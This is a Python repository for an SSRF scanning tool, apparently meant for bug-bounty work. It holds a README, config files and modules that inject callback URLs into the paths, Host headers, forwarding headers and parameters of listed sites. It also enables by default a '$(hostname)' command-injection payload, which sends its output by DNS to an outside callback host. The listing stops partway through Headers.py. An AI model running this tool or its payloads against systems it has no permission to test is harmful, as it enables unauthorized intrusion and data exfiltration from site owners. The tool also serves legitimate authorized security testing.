├── .gitignore ├── README.md ├── config ├── cookie-jar.txt ├── http-headers.txt ├── parameters.txt ├── static-request-headers.txt └── urls-to-test.txt ├── example.app-settings.conf ├── extended-ssrf-search.py └── inc ├── Callback.py ├── Clean.py ├── Color.py ├── Config.py ├── Connection.py ├── Headers.py ├── HttpParameter.py ├── Tests.py ├── Worker.py └── __init__.py /.gitignore: -------------------------------------------------------------------------------- 1 | .git 2 | .idea 3 | venv 4 | app-settings.conf 5 | config.live -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Extended ssrf search 2 | 3 | This tool search for SSRF using predefined settings in different parts of a request (path, host, headers, post and get parameters). 4 | 5 | ## First step 6 | 7 | Rename __example.app-settings.conf__ to __app-settings.conf__ and adjust settings. The most important setting is the callback url. I 8 | recommend to use burp collaborator. 9 | Then you can add your urls to config/url-to-test.txt. Here the script accepts domains as well as urls with path and query parameters. 10 | If you like you can add your own cookies to config/cookie-jar.txt and add additional headers for your requests. The brute force list 11 | which is used in post and get requests is currently small, I dont thing adding 2000 parameters is smart. We should focus on those 12 | which have the highest possibility to be vulnerable. If you don't think so: just add your own! 13 | 14 | ## Execution 15 | 16 | This tool does not expect any argument via CLI, so just type: 17 | ``` 18 | python3 extended-ssrf-search.py 19 | ``` 20 | 21 | ## Configuration 22 | 23 | Its possible to set a lot of options and settings, so here are some explanations. 24 | 25 | ### Files 26 | 27 | The main config file is the "app-settings.conf", everything has to be done in that file! Besides that, there are some 28 | other files which allow to set more complex data like headers, urls and cookies. 29 | 30 | __config/cookie-jar.txt__ 31 | 32 | Use this file to add a cookie string. I usually copy the one which you can see in every burp request. Please just copy the 33 | value of the "Cookie:"-header. A sample input is in the default file. 34 | 35 | __config/http-headers.txt__ 36 | 37 | This file defines the http headers which are added to the request and manipulated (payload is added to each one). The 38 | most important ones are already in the file. But feel free to add more. 39 | 40 | __config/parameters.txt__ 41 | 42 | The tool has the option to brute force get and post parameters. In that case those parameters (+ those in the query string) 43 | will be used. Each parameter gets the payload as value. Most important are already in that file. 44 | 45 | __config/static-request-headers.txt__ 46 | 47 | Those headers are added to every request, but they won't get manipulated. They are static. Thats the best place to add 48 | authorization or bearer cookies. One (Key: Value) per line! 49 | 50 | __config/urls-to-test.txt__ 51 | 52 | Thats the file you need! Please add here your links to scan. The following formats are allowed: 53 | 54 | * https://domain.com 55 | * https://domain.com/path 56 | * https://domain.com/path?param=value¶m1=value1 57 | * domain.com 58 | 59 | When the last case is detected an "http://" is prepended. This tool is intended to work with a good list of urls. 60 | A good way to get one is to just export it using burp. Then you have a valid list of urls. All you need to do ist to just 61 | add your cookies. 62 | 63 | ### Settings 64 | 65 | The app-settings.conf defines the program workflow. Its the most important file, you can activate/deactivate different 66 | modules there. 67 | 68 | #### Basic settings 69 | 70 | __CallbackHost__ 71 | 72 | The url/host which all dns and http requests are send back - I mostly use burp collaborator here, but DNSBin or you own 73 | server is also perfect. 74 | 75 | __HTTPMethod__ 76 | 77 | Defines the request method. Valid options are: GET, POST, PUT, DELETE, PATCH, GET, OPTIONS 78 | Invalid values will produce massiv errors since http.client disallows other methods! I dont check 79 | if you did something wrong here ;) 80 | 81 | __HTTPTimeout__ 82 | 83 | Some requests can take long. Here you can define the max. execution time of one request. I recommend values 84 | between 2 and 6 seconds. 85 | 86 | __MaxThreads__ 87 | 88 | The more threads, the faster the script is - but since we are dealing with a lot of connections I usually keep this below 89 | 10 on my personal computer and around 30 on my VPS. 90 | 91 | __ShuffleTests__ 92 | 93 | Especially when dealing with a BIG list of urls having this set to "true" will shuffle all created tests. That way the same host 94 | will not get hit that much. If you scan just one host, than it doesn't matter. 95 | 96 | __GetChunkSize__ 97 | 98 | When working with bigger param lists this might be handy and prevent 400 too large entity errors. 99 | 100 | #### Insertion points 101 | 102 | Each insertion point can be activated (set to true/1) or deactivated (set to false/0) 103 | 104 | __InPath__ 105 | 106 | The example shows a GET request, but depending on your settings, this could also be 107 | POST, PUT, DELETE, ... 108 | 109 | ``` 110 | GET [INJECT HERE PAYLOAD] HTTP/1.1 111 | ... 112 | ``` 113 | 114 | __InHost__ 115 | 116 | The example shows a GET request, but depending on your settings, this could also be 117 | POST, PUT, DELETE, ... 118 | 119 | ``` 120 | GET /path HTTP/1.1 121 | Host: [INJECT HERE PAYLOAD] 122 | ... 123 | ``` 124 | 125 | __InAdditionalHeaders__ 126 | 127 | The example shows a GET request, but depending on your settings, this could also be 128 | POST, PUT, DELETE, ... 129 | 130 | ``` 131 | GET /path HTTP/1.1 132 | ... 133 | X-Forwarded-For: [INJECT HERE PAYLOAD] 134 | ``` 135 | 136 | __InParamsGet__ 137 | 138 | Here the Method is fixed to GET. 139 | 140 | ``` 141 | GET /path?[INJECT HERE PAYLOAD] HTTP/1.1 142 | ... 143 | ``` 144 | 145 | __InParamsPost__ 146 | 147 | Here the Method is fixed to POST. 148 | 149 | ``` 150 | POST /path HTTP/1.1 151 | ... 152 | Content-Type: application/x-www-form-urlencoded 153 | Content-Length: XXX 154 | 155 | [INJECT HERE PAYLOAD] 156 | ``` 157 | 158 | __InParamsPostAsJson__ 159 | 160 | Here the Method is fixed to POST. 161 | 162 | ``` 163 | POST /path HTTP/1.1 164 | ... 165 | Content-Type: application/json 166 | Content-Length: XXX 167 | 168 | [INJECT HERE JSON-PAYLOAD] 169 | ``` 170 | 171 | #### Attacks 172 | 173 | In the default settings this tool just tries to trigger http requests via SSRF. But its also possible to exfiltrate data 174 | using DNS, when an OS command is injected. The most common payload is "$(hostname)". There are some options 175 | which allow to use this kind of attack additionally. 176 | 177 | __UseExecPayload__ 178 | 179 | Using this setting you can activate/deactivate that behaviour. 180 | 181 | __ExecPayload__ 182 | 183 | Here you can define your own payload, e.g. $(uname -a) 184 | 185 | #### Identifier 186 | 187 | To make the identification a little bit easier a combination of current host and method (in short form, see Tests.py) is 188 | appended or prepended to the payload. 189 | 190 | __Position__ 191 | 192 | Valid options are "append" and "prepend"! 193 | 194 | If "append" is chosen, the payloads look like this: 195 | 196 | ``` 197 | ....burpcollaborator.net/www.attacked-domain.com-testmethod 198 | http://....burpcollaborator.net/www.attacked-domain.com-testmethod 199 | ``` 200 | 201 | If "prepend" is chosen, the payloads look like this: 202 | 203 | ``` 204 | www.attacked-domain.com-testmethod.burpcollaborator.net 205 | http://www.attacked-domain.com-testmethod.burpcollaborator.net/ 206 | ``` 207 | 208 | #### Tunneling 209 | 210 | Its also possible to use a tunnel, e.g. "127.0.0.1:8080" (Burp Proxy), to monitor all traffic within Burp. 211 | 212 | __Active__ 213 | 214 | Setting this to "true" will force the script to use a tunneled connection. 215 | 216 | __Tunnel__ 217 | 218 | Set here your proxy server "ip:port". 219 | 220 | The result is the following one, when you open Burp you can watch your http history: 221 | 222 | ![Screen](https://i.imgur.com/3r8hSL7.png) 223 | 224 | ## Screenshot 225 | 226 | ![Screen](https://i.imgur.com/xNLEN9i.png) 227 | 228 | ## Feature requests 229 | 230 | Please just create an issue and tag it as a feature request. 231 | 232 | ## Support 233 | 234 | Do you like that tool? Did it help you to get a bounty? Want to give something back/support me? Why not!
235 | 236 | #### Donate via PayPal: CLICK 237 | 238 | -------------------------------------------------------------------------------- /config/cookie-jar.txt: -------------------------------------------------------------------------------- 1 | examplecookie=31337; testcookie=1; authcookie=1337 -------------------------------------------------------------------------------- /config/http-headers.txt: -------------------------------------------------------------------------------- 1 | HTTP_FORWARDED 2 | HTTP_CLIENT_IP 3 | HTTP_FORWARDED_FOR 4 | HTTP_X_FORWARDED 5 | HTTP_X_FORWARDED_FOR 6 | X-Originating-IP 7 | X-Forwarded-For 8 | X-Remote-IP 9 | X-Remote-Addr 10 | X-Client-IP 11 | WL-Proxy-Client-IP 12 | Z-Forwarded-For 13 | Source-IP 14 | True-Client-IP 15 | X-Real-IP -------------------------------------------------------------------------------- /config/parameters.txt: -------------------------------------------------------------------------------- 1 | token 2 | redirecturl 3 | parse 4 | u 5 | f 6 | query 7 | dest 8 | redirect 9 | uri 10 | path 11 | continue 12 | url 13 | window 14 | next 15 | data 16 | reference 17 | site 18 | html 19 | val 20 | validate 21 | domain 22 | callback 23 | return 24 | page 25 | view 26 | dir 27 | show 28 | file 29 | document 30 | folder 31 | root 32 | path 33 | pg 34 | style 35 | php_path 36 | doc 37 | feed 38 | host 39 | port 40 | to 41 | out -------------------------------------------------------------------------------- /config/static-request-headers.txt: -------------------------------------------------------------------------------- 1 | Content-Type: text/html 2 | Accept: */* -------------------------------------------------------------------------------- /config/urls-to-test.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Damian89/extended-ssrf-search/680f815c47350eeb5f735ce37b297c4e77bd91e0/config/urls-to-test.txt -------------------------------------------------------------------------------- /example.app-settings.conf: -------------------------------------------------------------------------------- 1 | [default] 2 | # You can use burp collaborator, DNSBin or your own server 3 | CallbackHost = XXXXXXXXXXXXXXXXXX 4 | 5 | # Allowed methods: GET, POST, PUT, DELETE, PATCH, GET, OPTIONS 6 | HTTPMethod = HEAD 7 | 8 | # Maximum time in seconds till timeout 9 | HTTPTimeOut = 10 10 | 11 | # Max thread count 12 | MaxThreads = 5 13 | 14 | # Shuffle created test cases (recommended) 15 | ShuffleTests = true 16 | 17 | # Seconds to sleep before testing begins 18 | SleepBeforeTesting = 5 19 | 20 | # Max parameters per chunk, especially when working with a lot of params 21 | GetChunkSize = 35 22 | 23 | [insertion-points] 24 | InPath = true 25 | InParamsPost = true 26 | InParamsPostAsJson = true 27 | InParamsGet = true 28 | InAdditionalHeaders = true 29 | InHost = true 30 | 31 | [attacks] 32 | UseExecPayload = true 33 | ExecPayload = $(hostname) 34 | 35 | [identifier] 36 | # "prepend" or "append" 37 | Position = append 38 | 39 | [tunneling] 40 | Active = false 41 | Tunnel = 127.0.0.1:8080 42 | 43 | [files] 44 | Cookies = config/cookie-jar.txt 45 | HttpHeaders = config/http-headers.txt 46 | StaticHeaders = config/static-request-headers.txt 47 | Parameters = config/parameters.txt 48 | Urls = config/urls-to-test.txt 49 | 50 | 51 | -------------------------------------------------------------------------------- /extended-ssrf-search.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # -*- coding: utf-8 -*- 4 | # This program is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 2 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 17 | # MA 02110-1301, USA. 18 | # 19 | # Author: Damian Schwyrz 20 | 21 | import sys 22 | 23 | if sys.version_info < (3, 0): 24 | sys.stdout.write("Sorry, requires Python 3.x\n") 25 | sys.exit(1) 26 | 27 | import ssl 28 | import queue 29 | import time 30 | 31 | from inc.Config import * 32 | from inc.Tests import * 33 | from inc.Worker import * 34 | from inc.Color import * 35 | 36 | ssl._create_default_https_context = ssl._create_unverified_context 37 | 38 | 39 | def main(): 40 | config = Config() 41 | config.show_summary() 42 | 43 | print("{} Starting to prepare tests...".format( 44 | Color.green("[ i ]") 45 | )) 46 | 47 | tests = Tests(config).tests 48 | 49 | print("{} Finished preparing...".format( 50 | Color.green("[ i ]") 51 | )) 52 | 53 | print("{} Waiting {} seconds... enough time to kill it, if thats too many requests ;)".format( 54 | Color.green("[ i ]"), 55 | config.sleep_before_testing) 56 | ) 57 | 58 | time.sleep(config.sleep_before_testing) 59 | 60 | queue_all = queue.Queue() 61 | 62 | threads = [] 63 | 64 | for workerIterator in range(0, config.max_threads): 65 | print("{} Worker {} started...".format( 66 | Color.green("[ i ]"), 67 | workerIterator 68 | )) 69 | 70 | worker = Worker(config, queue_all, workerIterator) 71 | 72 | worker.setDaemon(True) 73 | 74 | worker.start() 75 | 76 | threads.append(worker) 77 | 78 | for data in tests: 79 | queue_all.put(data) 80 | 81 | for item in threads: 82 | item.join() 83 | 84 | 85 | if __name__ == "__main__": 86 | main() 87 | -------------------------------------------------------------------------------- /inc/Callback.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | 19 | 20 | class Callback: 21 | 22 | def __init__(self, url, config, case, type): 23 | self.url = url 24 | self.config = config 25 | self.case = case 26 | self.type = type 27 | self.hostname = "" 28 | self.result = "" 29 | self.name = "" 30 | 31 | def make(self): 32 | if self.case is "http": 33 | self.__make_http_callback_url() 34 | 35 | if self.case is "dns": 36 | self.__make_dns_callback() 37 | 38 | def __make_dns_callback(self): 39 | 40 | if self.type == "default": 41 | self.result = "{}-{}.{}".format(self.name, self.hostname, self.config.callback) 42 | return 43 | 44 | if self.type == "exec": 45 | self.result = "{}.{}-{}.{}".format(self.config.attack_exec_payload, self.name, self.hostname, 46 | self.config.callback) 47 | return 48 | 49 | def __make_http_callback_url(self): 50 | 51 | if self.type == "default" and self.config.identifier_position == "prepend": 52 | self.result = "http://{}-{}.{}".format(self.name, self.hostname, self.config.callback) 53 | 54 | return 55 | 56 | if self.type == "default" and self.config.identifier_position == "append": 57 | self.result = "http://{}/{}-{}".format(self.config.callback, self.hostname, self.name) 58 | 59 | return 60 | 61 | if self.type == "exec": 62 | return 63 | 64 | def set_hostname(self, hostname): 65 | self.hostname = hostname 66 | 67 | def set_testname(self, name): 68 | self.name = name 69 | -------------------------------------------------------------------------------- /inc/Clean.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | from urllib.parse import urlparse 19 | 20 | 21 | class Clean: 22 | 23 | def __init__(self, urls): 24 | self.urls = urls 25 | self.cleaned_urls = [] 26 | self.new_list = [] 27 | 28 | def clean(self): 29 | 30 | self.__make_initial_urls_unique() 31 | 32 | for url in self.urls: 33 | h, p, po, q, s = self.__get_url_parts(url) 34 | 35 | params = self.__extract_params(q) 36 | 37 | new_url = self.__create_base_url_string(h, p, po, s) 38 | 39 | param_string = self.__create_sorted_param_string(params) 40 | 41 | new_url = self.__append_param_string(new_url, param_string) 42 | 43 | new_url = self.__remove_last_char_if_its_ampersand(new_url) 44 | 45 | self.new_list.append(new_url) 46 | 47 | self.__make_new_url_list_unique() 48 | 49 | self.cleaned_urls = self.new_list 50 | 51 | def __make_new_url_list_unique(self): 52 | self.new_list = list(set(self.new_list)) 53 | 54 | def __remove_last_char_if_its_ampersand(self, new_url): 55 | 56 | new_url = new_url.rstrip("&") 57 | 58 | return new_url 59 | 60 | def __append_param_string(self, new_url, param_string): 61 | 62 | if param_string != "": 63 | new_url = "{}?{}".format(new_url, param_string) 64 | 65 | return new_url 66 | 67 | def __create_base_url_string(self, h, p, po, s): 68 | 69 | new_url = "{}://{}".format(s, h) 70 | 71 | if po is not None: 72 | new_url = "{}:{}".format(new_url, po) 73 | 74 | if p == "": 75 | p = "/" 76 | 77 | new_url = "{}{}".format(new_url, p) 78 | 79 | return new_url 80 | 81 | def __create_sorted_param_string(self, params): 82 | 83 | param_string = "" 84 | 85 | for value, param in enumerate(params): 86 | param_string = "{}{}={}&".format(param_string, param, value) 87 | 88 | return param_string 89 | 90 | def __extract_params(self, q): 91 | 92 | params = [] 93 | 94 | if q is not "": 95 | 96 | for element in q.split("&"): 97 | params.append(element.split("=")[0]) 98 | 99 | params.sort() 100 | 101 | return params 102 | 103 | def __get_url_parts(self, url): 104 | 105 | u = urlparse(url) 106 | 107 | s = u.scheme 108 | 109 | h = u.hostname 110 | 111 | po = u.port 112 | 113 | p = u.path 114 | 115 | q = u.query 116 | 117 | return h, p, po, q, s 118 | 119 | def __make_initial_urls_unique(self): 120 | self.urls = list(set(self.urls)) 121 | -------------------------------------------------------------------------------- /inc/Color.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | 19 | 20 | class Color: 21 | 22 | @staticmethod 23 | def red(text): 24 | return "\033[31m{}\033[0m".format(text) 25 | 26 | @staticmethod 27 | def danger(text): 28 | return "\033[41m{}\033[94m\033[0m".format(text) 29 | 30 | @staticmethod 31 | def green(text): 32 | return "\033[32m{}\033[0m".format(text) 33 | 34 | @staticmethod 35 | def orange(text): 36 | return "\033[33m{}\033[0m".format(text) 37 | -------------------------------------------------------------------------------- /inc/Config.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | 19 | import configparser 20 | import os 21 | import sys 22 | from inc.Color import * 23 | from inc.Clean import * 24 | 25 | 26 | class Config: 27 | 28 | def __init__(self): 29 | 30 | self.config = configparser.ConfigParser() 31 | self.config.read('app-settings.conf') 32 | 33 | self.__set_set_config() 34 | 35 | self.__get_urls() 36 | self.__get_cookies() 37 | self.__get_static_headers() 38 | 39 | if self.insertion_point_use_http_headers: 40 | self.__get_http_headers() 41 | 42 | if self.insertion_point_use_getparams or self.insertion_point_use_postparams or self.insertion_point_use_postparams_as_json: 43 | self.__get_parameters() 44 | 45 | def __set_set_config(self): 46 | 47 | # Default settings 48 | self.callback = self.config["default"]["CallbackHost"] 49 | self.http_method = self.config["default"]["HTTPMethod"] 50 | self.http_timeout = int(self.config["default"]["HTTPTimeout"]) 51 | self.max_threads = int(self.config["default"]["MaxThreads"]) 52 | self.shuffleTests = self.config.getboolean("default", "ShuffleTests") 53 | self.sleep_before_testing = int(self.config["default"]["SleepBeforeTesting"]) 54 | self.chunk_size_get = int(self.config["default"]["GetChunkSize"]) 55 | 56 | # Settings regarding insertion points 57 | self.insertion_point_use_path = self.config.getboolean("insertion-points", "InPath") 58 | self.insertion_point_use_getparams = self.config.getboolean("insertion-points", "InParamsGet") 59 | self.insertion_point_use_postparams = self.config.getboolean("insertion-points", "InParamsPost") 60 | self.insertion_point_use_postparams_as_json = self.config.getboolean("insertion-points", "InParamsPostAsJson") 61 | self.insertion_point_use_http_headers = self.config.getboolean("insertion-points", "InAdditionalHeaders") 62 | self.insertion_point_use_host = self.config.getboolean("insertion-points", "InHost") 63 | 64 | # Settings regarding attack/payload 65 | self.attack_use_exec_payload = self.config.getboolean("attacks", "UseExecPayload") 66 | self.attack_exec_payload = self.config["attacks"]["ExecPayload"] 67 | self.identifier_position = self.config["identifier"]["Position"] 68 | 69 | # Tunneling 70 | self.tunneling = self.config.getboolean("tunneling", "Active") 71 | self.tunnel = self.config["tunneling"]["Tunnel"] 72 | 73 | def __get_cookies(self): 74 | 75 | file = self.config["files"]["Cookies"] 76 | 77 | if not os.path.exists(file): 78 | sys.exit("Cookie jar not found") 79 | 80 | cookies = open(file, "r").read().splitlines() 81 | 82 | cookies = ";".join([cookie.rstrip() for cookie in cookies if cookie.strip()]) 83 | 84 | self.cookies = cookies 85 | 86 | def __get_parameters(self): 87 | 88 | file = self.config["files"]["Parameters"] 89 | 90 | if not os.path.exists(file): 91 | sys.exit("Param list not found") 92 | 93 | parameters = open(file, "r").read().splitlines() 94 | 95 | parameters = "\n".join([param.rstrip() for param in parameters if param.strip()]) 96 | 97 | if len(parameters) == 0: 98 | sys.exit("Param list seems to be empty") 99 | 100 | self.parameters = parameters 101 | 102 | def __get_http_headers(self): 103 | 104 | file = self.config["files"]["HttpHeaders"] 105 | 106 | if not os.path.exists(file): 107 | sys.exit("Header list not found") 108 | 109 | headers = open(file, "r").read().splitlines() 110 | 111 | headers = "\n".join([header.rstrip() for header in headers if header.strip()]) 112 | 113 | if len(headers) == 0: 114 | sys.exit("Header list seems to be empty") 115 | 116 | self.headers = headers 117 | 118 | def __get_static_headers(self): 119 | 120 | file = self.config["files"]["StaticHeaders"] 121 | 122 | if not os.path.exists(file): 123 | sys.exit("Static header list not found") 124 | 125 | static_headers = open(file, "r").read().splitlines() 126 | 127 | static_headers = "\n".join([header.rstrip() for header in static_headers if header.strip()]) 128 | 129 | self.static_headers = static_headers 130 | 131 | def __get_urls(self): 132 | 133 | file = self.config["files"]["Urls"] 134 | 135 | if not os.path.exists(file): 136 | sys.exit("Url list not found") 137 | 138 | urls = open(file, "r").read().splitlines() 139 | 140 | urls = "\n".join([url.rstrip() for url in urls if url.strip()]) 141 | 142 | if len(urls) == 0: 143 | sys.exit("Url list seems to be empty!") 144 | 145 | urls = urls.splitlines() 146 | 147 | self.original_url_count = len(urls) 148 | 149 | url_cleaner = Clean(urls) 150 | url_cleaner.clean() 151 | self.urls = url_cleaner.cleaned_urls 152 | self.cleaned_url_count = len(self.urls) 153 | 154 | def show_summary(self): 155 | 156 | if self.identifier_position == "prepend": 157 | print("{} Callback:\t\t\t%host%.{}".format(Color.orange("[ i ]"), self.callback)) 158 | else: 159 | print("{} Callback:\t\t\t{}/%host%".format(Color.orange("[ i ]"), self.callback)) 160 | 161 | print("{} HTTP Method:\t\t{}".format(Color.orange("[ i ]"), self.http_method)) 162 | print("{} Threads:\t\t\t{}".format(Color.orange("[ i ]"), self.max_threads)) 163 | print("{} HTTP Timeout:\t\t{}".format(Color.orange("[ i ]"), self.http_timeout)) 164 | 165 | methods = [] 166 | 167 | if self.insertion_point_use_path: 168 | methods.append("path") 169 | 170 | if self.insertion_point_use_host: 171 | methods.append("host") 172 | 173 | if self.insertion_point_use_http_headers: 174 | methods.append("headers") 175 | 176 | if self.insertion_point_use_getparams: 177 | methods.append("get-parameters") 178 | 179 | if self.insertion_point_use_postparams: 180 | methods.append("form-post-parameters") 181 | 182 | if self.insertion_point_use_postparams_as_json: 183 | methods.append("json-post-parameters") 184 | 185 | print("{} Insertion points:\t\t{}".format( 186 | Color.orange("[ i ]"), 187 | ", ".join(methods) 188 | )) 189 | 190 | if self.tunneling: 191 | print("{} Proxy server:\t\t{}".format( 192 | Color.orange("[ i ]"), 193 | self.tunnel 194 | )) 195 | 196 | if self.attack_use_exec_payload: 197 | print("{} OS command payload:\t{}".format(Color.orange("[ i ]"), self.attack_exec_payload)) 198 | 199 | if self.cookies.strip() != "": 200 | print("{} Cookies used:\t\t{}".format(Color.orange("[ i ]"), self.cookies.strip())) 201 | 202 | if self.insertion_point_use_http_headers and self.headers.strip() != "": 203 | print("{} Testable headers:\t\t{}".format( 204 | Color.orange("[ i ]"), 205 | ", ".join([header for header in self.headers.splitlines()]) 206 | )) 207 | 208 | if self.static_headers.strip() != "": 209 | print("{} Static headers:\t\t{}".format( 210 | Color.orange("[ i ]"), 211 | ", ".join([header for header in self.static_headers.splitlines()]) 212 | )) 213 | 214 | print("{} Initial url count:\t{}".format( 215 | Color.orange("[ i ]"), 216 | self.original_url_count 217 | )) 218 | 219 | print("{} Cleaned url count:\t{}".format( 220 | Color.orange("[ i ]"), 221 | self.cleaned_url_count 222 | )) 223 | -------------------------------------------------------------------------------- /inc/Connection.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | 19 | import http.client 20 | 21 | 22 | class Connection: 23 | 24 | def __init__(self, config, data): 25 | self.config = config 26 | self.data = data 27 | self.response = "" 28 | 29 | def connect(self): 30 | if self.config.tunneling: 31 | self.__tunneled_connection() 32 | else: 33 | self.__regular_connection() 34 | 35 | def __regular_connection(self): 36 | 37 | port = self.__get_port() 38 | 39 | if "https" in self.data["url"]: 40 | connection = http.client.HTTPSConnection(self.data["host"], port, timeout=self.config.http_timeout) 41 | else: 42 | connection = http.client.HTTPConnection(self.data["host"], port, timeout=self.config.http_timeout) 43 | 44 | connection.request( 45 | self.data["method"].upper(), 46 | self.data["path"], 47 | self.data["body"], 48 | self.data["headers"] 49 | ) 50 | 51 | self.response = connection.getresponse() 52 | 53 | connection.close() 54 | 55 | def __tunneled_connection(self): 56 | 57 | if "https" in self.data["url"]: 58 | connection = http.client.HTTPSConnection(self.config.tunnel, timeout=self.config.http_timeout) 59 | else: 60 | connection = http.client.HTTPConnection(self.config.tunnel, timeout=self.config.http_timeout) 61 | 62 | port = self.__get_port() 63 | 64 | connection.set_tunnel(self.data["host"], port) 65 | 66 | body = self.data["body"] 67 | 68 | if self.data["body"].strip() == "": 69 | body = None 70 | 71 | connection.request( 72 | self.data["method"].upper(), 73 | self.data["path"], 74 | body, 75 | self.data["headers"] 76 | ) 77 | 78 | self.response = connection.getresponse() 79 | 80 | connection.close() 81 | 82 | def __get_port(self): 83 | port = self.data["port"] 84 | if port is None and "https" in self.data["url"]: 85 | port = 443 86 | if port is None and "http" in self.data["url"]: 87 | port = 80 88 | return port 89 | -------------------------------------------------------------------------------- /inc/Headers.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | import random 19 | 20 | 21 | class Headers: 22 | 23 | def __init__(self, config): 24 | 25 | self.config = config 26 | self.headers = {} 27 | 28 | def add_static_headers(self): 29 | 30 | headers = self.config.static_headers.splitlines() 31 | 32 | for header_string in headers: 33 | name, value = header_string.split(":")[0], header_string.split(":")[1] 34 | 35 | self.headers[name] = value.strip() 36 | 37 | def add_user_defined_headers(self, callback): 38 | 39 | headers = self.config.headers.splitlines() 40 | 41 | for header in headers: 42 | self.headers[header] = callback 43 | 44 | def set(self, name, value): 45 | 46 | self.headers[name] = value 47 | 48 | def reset(self): 49 | 50 | self.headers = {} 51 | 52 | def make(self): 53 | 54 | return self.headers 55 | 56 | def get_random_user_agent(self): 57 | 58 | ua = [ 59 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", 60 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", 61 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", 62 | "Mozilla/5.0 (X11; Linux i686; rv:64.0) Gecko/20100101 Firefox/64.0", 63 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0", 64 | "Mozilla/5.0 (X11; Linux i586; rv:63.0) 